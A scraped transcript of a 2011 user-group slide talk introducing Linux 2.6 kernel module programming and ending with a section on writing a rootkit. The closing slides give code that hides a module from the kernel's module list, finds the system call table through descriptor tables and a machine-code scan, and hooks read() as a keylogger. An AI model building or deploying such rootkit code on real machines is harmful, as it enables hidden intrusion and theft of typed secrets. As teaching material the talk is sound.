kernel hacking - introduction to linux kernel 2.6 how to write a … · 2020. 4. 29. · kernel...

28
Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG Linux / Unix get-together January 19, 2011

Upload: others

Post on 19-Aug-2020

8 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Kernel HackingIntroduction to Linux Kernel 2.6

How to write a Rootkit

Maurice Leclaire

TumFUGLinux / Unixget-together

January 19, 2011

Page 2: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Why hacking the kernel?

I Understanding the Linux kernel

I Fixing bugs

I Adding special features

I Writing drivers for special hardware

I Writing rootkits

Page 3: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

How to hack the kernel?

I Modifying the source codeI All modifications are possibleI Needs kernel recompile

I Writing a LKM (Loadable Kernel Module)I No kernel recompileI Can be inserted into a running kernelI No influence on boot processI Restrictions due to the kernel

Page 4: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

How to get started?

I Knowledge of the C Programming Language

I Kernel source (e.g. kernel.org)

I Compiler

Recommended:

I Vanilla Kernel

I Virtual machine for testing

I Assembler knowledge

Page 5: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

How to get started?

I http://lxr.linux.no

(complete source code cross reference)

I http://people.netfilter.org/~rusty/unreliable-guides/

kernel-hacking/lk-hacking-guide.html

(“Rusty’s Kernel Hacking Guide”)

I http://www.faqs.org/docs/kernel

(LKM Programming Guide)

I http://kernelnewbies.org/KernelHacking

Page 6: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Coding StyleDocumentation/CodingStyle

First off, I’d suggest printing out a copy of the GNU codingstandards, and NOT read it. Burn them, it’s a great symbolicgesture.

I 8 chars indentation

I only one statement on a single line

I never use spaces for indentation

I 80 chars is max line length

Page 7: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

printkinclude/linux/kernel.h

I Kernel log function

I used like userspace printf

printk("Hello world !\n");

printk(KERN_INFO "%s %i\n", mystring , myint );

I loglevel:I KERN_DEBUGI KERN_INFOI KERN_NOTICEI KERN_WARNINGI KERN_ERRI KERN_CRITI KERN_ALERTI KERN_EMERG

Page 8: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

kmalloc/kfree vmalloc/vfreeinclude/linux/slab.h include/linux/vmalloc.h

I kmalloc allocates kernel memory

I up to 128 KB

void *mem = kmalloc(size , GFP_KERNEL );

kfree(mem);

I vmalloc can allocate more than 128 KB

I virtual memory / non contiguous in RAM

void *mem = vmalloc(size);

vfree(mem);

I kzalloc / vzalloc for zeroed memory

Page 9: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Kernel List Structureinclude/linux/list.h

I double linked list

I circular

I type oblivious

I list does not contain the items, the items contain the list

I multiple lists in one item possible

1 struct my_struct {

2 ...

3 struct list_head list;

4 ...

5 struct list_head another_list;

6 };

Page 10: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Kernel List Structureinclude/linux/list.h

1 struct list_head *p, *q;

2 struct my_struct x, *pos;

3

4 LIST_HEAD(head);

5

6 list_add (&x.list , &head);

7

8 list_for_each (p, &head) {

9 pos = list_entry(p, struct my_struct , list);

10 ...

11 }

12 /* identical to */

13 list_for_each_entry (pos , &head , list) {...}

14

15 list_for_each_safe (p, q, &head) {

16 list_del(p);

17 }

Page 11: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Communication with the Userspace

I In Linux everything is a file

I Communication is also done via files

I For that purpose there are /proc, /sys and /dev files

I They exist only in RAM

Page 12: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Creating a /dev fileinclude/linux/fs.h

1 static struct file_operations fops = {

2 .read = device_read ,

3 .write = device_write ,

4 .open = device_open ,

5 .release = device_release

6 };

7

8 int major = register_chrdev (0, "mydev", &fops);

9 unregister_chrdev(major , "mydev");

Page 13: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Reading/Writing files from Kernelspaceinclude/linux/fs.h include/asm/uaccess.h

I You normally shouldn’t do this

I Use /proc, /sys or /dev files for communication with the userspace

1 struct file *file;

2 file = filp_open("/dir/filename", O_RDWR , 0);

3

4 if (file && !IS_ERR(file)) {

5 mm_segment_t old_fs = get_fs ();

6 set_fs(KERNEL_DS);

7 loff_t file_size = vfs_llseek(file ,

(loff_t)0, SEEK_END);

8 char *buff = vmalloc(file_size);

9 loff_t off = 0;

10 vfs_read(file , buff , file_size , &off);

11 vfs_write(file , buff , file_size , &off);

12 vfree(buff);

13 set_fs(old_fs);

14 }

Page 14: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Loadable Kernel Module

I Object file that can be linked to the running kernel

I Dynamically load and unload drivers how you need them

I lsmod lists the loaded modules

Page 15: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Hello World LKMhello world.c

1 #include <linux/kernel.h>

2 #include <linux/module.h>

3

4 int init_module(void)

5 {

6 printk("TumFUG: Hello world!\n");

7 return 0;

8 }

9

10 void cleanup_module(void)

11 {

12 printk("TumFUG: Goodbye !\n");

13 }

Page 16: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Hello World LKMMakefile

1 obj -m += hello_world.o

2

3 all:

4 make -C /lib/modules/$(shell uname -r)/build

M=$(PWD) modules

5

6 clean:

7 make -C /lib/modules/$(shell uname -r)/build

M=$(PWD) clean

Page 17: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Hello World LKMCompiling and Loading

# make

# insmod hello_world.ko

TumFUG: Hello world!

# rmmod hello_world

TumFUG: Goodbye!

# dmesg | grep TumFUG

TumFUG: Hello world!

TumFUG: Goodbye!

# _

Page 18: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Module Documentation

I MODULE_LICENSE("GPL");

I MODULE_AUTHOR("TumFUG");

I MODULE_DESCRIPTION("Hello world module");

I A module should contain these macros for documentation purposes

I The license macro avoids a warning message when loaded

Page 19: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Use Counter

I Prevents the module from being unloaded when used

1 void open(void)

2 {

3 try_module_get(THIS_MODULE );

4 ...

5 }

6

7 void close(void)

8 {

9 ...

10 put_module(THIS_MODULE );

11 }

Page 20: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

RootkitsLKM-based Rootkits

I Software that lives in kernel space

I Hides itself from the sysadmin

I Enables privileged access to the system for non-privileged users

I Is typically installed by an attacker after he broke into a system

I Hides all the attackers actions

I Keylogger

Page 21: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Hiding the Module

I The kernel holds a list of all modules

I Removing the module from this list is enough to hide

list_del (& THIS_MODULE ->list);

I Hiding processes is similar

I task structure is more complex

I More lists to remove from

Page 22: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

System Calls

I requests to the kernel

I interface between userspace and kernelspace

Program

...read()

...−→

idt

...

0x80 sys call

...

−→ sys call handler

...

sys call table

...

2 sys fork

3 sys read

4 sys write

...

−→ sys read

...

Page 23: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

System Call Hooking

I Change pointer to a system call handler

I The hook function is executed instead of the original one

Program

...read()

...−→

idt

...

0x80 sys call

...

−→ sys call handler

...

sys call table

...

2 sys fork

3 hook read

4 sys write

...

−→

sys read

...

hook read

...

I get control over the kernels behaviour

I Problem: since 2.6 the address of the sys call table is no longerexported

I Solution: Find it yourself

Page 24: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

Finding the sys call table

I Get the idt address with sidt

I Get the address of the sys_call_handler from the idt entry 0x80

I Interpret the machine code of the sys_call_handler that includesthe address of the sys_call_table

Page 25: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

1 struct dt {

2 u16 limit;

3 u32 base;

4 } __attribute__ (( __packed__ ));

5

6 struct idt_entry {

7 u16 offset_low;

8 u16 selector;

9 u8 zero;

10 u8 attr;

11 u16 offset_high;

12 } __attribute__ (( __packed__ ));

13

14 struct gdt_entry {

15 u16 limit_low;

16 u16 base_low;

17 u8 base_mid;

18 u8 access;

19 u8 atrr;

20 u8 base_high;

21 } __attribute__ (( __packed__ ));

Page 26: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

22 void ** sys_call_table;

23

24 struct dt gdt;

25 __asm__("sgdt %0\n" : "=m"(gdt));

26

27 struct dt idt;

28 __asm__("sidt %0\n" : "=m"(idt));

29

30 struct idt_entry *idt_entry

31 = (struct idt_entry *)(idt.base);

32 idt_entry += 0x80; /* 0x80: linux syscall */

33 u32 syscall_offset = (idt_entry ->offset_high << 16)

34 | idt_entry ->offset_low;

35

36 struct gdt_entry *gdt_entry

37 = (struct gdt_entry *)(gdt.base);

38 gdt_entry += idt_entry ->selector;

39 u32 syscall_base = (gdt_entry ->base_high << 24)

40 | (gdt_entry ->base_mid << 16)

41 | gdt_entry ->base_low;

Page 27: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

42 u8 *system_call

43 = (u8 *)( syscall_base + syscall_offset );

44

45 /* search call to sys_call_table */

46 /* FF 14 85 off4: jmp off4(,%eax ,4) */

47 while

48 ((*( u32 *)( system_call ++) & 0xFFFFFF) != 0x8514FF );

49

50 sys_call_table = *(void ***)( system_call + 2);

Page 28: Kernel Hacking - Introduction to Linux Kernel 2.6 How to write a … · 2020. 4. 29. · Kernel Hacking Introduction to Linux Kernel 2.6 How to write a Rootkit Maurice Leclaire TumFUG

A simple Keylogger

I Hook the read system call

I Call the original read

I Log the value to the system log file

1 hook_read(int fd , char *buf , long count)

2 {

3 long c = original_read(fd , buf , count);

4

5 printk("%s\n", buf);

6

7 return c;

8 }